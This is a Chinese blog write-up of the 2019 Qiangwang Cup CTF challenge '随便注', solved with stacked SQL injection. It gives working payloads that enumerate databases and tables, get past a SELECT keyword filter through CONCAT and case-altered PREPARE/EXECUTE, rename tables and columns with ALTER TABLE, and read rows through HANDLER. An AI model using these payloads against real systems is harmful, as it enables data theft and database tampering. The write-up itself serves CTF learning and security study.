[强网杯 2019]随便注

1.使用万能密码可以查询到内容

image-20211208154747156

2.再用order by判断,可得2可以而3不可以,再用union select发现select被过滤了

3.考虑使用堆叠注入

-1';show databases;#

image-20211208160041439

 

然后查看表 -1';show tables;#

 

image-20211208160309467

查看列有3种

-1';desc `1919810931114514`#    -1';desc `words`#
-1';show columns from `1919810931114514`#   
   
-1';show columns from `words`#

文件名得用反引号.

最后发现flag在数字名文件的flag字段中

image-20211208161530489

4.所以我们需要执行 select * from 1919810931114514; 因此需要绕过select的限制.

5可以使用预编译的方式

-1';set @sql = CONCAT('se','lect * from `1919810931114514`;');prepare stmt from @sql;EXECUTE stmt;#

image-20211208164040665

检测到了这俩个关键词,但是strstr不会区分大小写,可以用Set和Prepare

-1';Set @sql = CONCAT('se','lect * from `1919810931114514`;');Prepare stmt from @sql;EXECUTE stmt;#

image-20211208164215220

6.也可以修改表名,因为上面查询的是words表的id字段,所以我们可以把数字表修改名字为words,flag列改成id列,原来的words改为其他名字就可以了

1'; alter table words rename to words1;
alter table `1919810931114514` rename to words;
alter table words change flag id varchar(50);#

最后用1‘ or 1=1#就可以得到结果

  1. (1)1';handler 1919810931114514 open;handler 1919810931114514 read next;

    (2)1';handler 1919810931114514 open as a; handler a read next;#

笔记:

1.预编译

set用于设置变量名和值
prepare用于预备一个语句,并赋予名称,以后可以引用该语句
execute执行语句
deallocate prepare用来释放掉预处理的语句



posted @ 2022-01-19 14:37  L0VEhzzz  阅读(17)  评论(0编辑  收藏  举报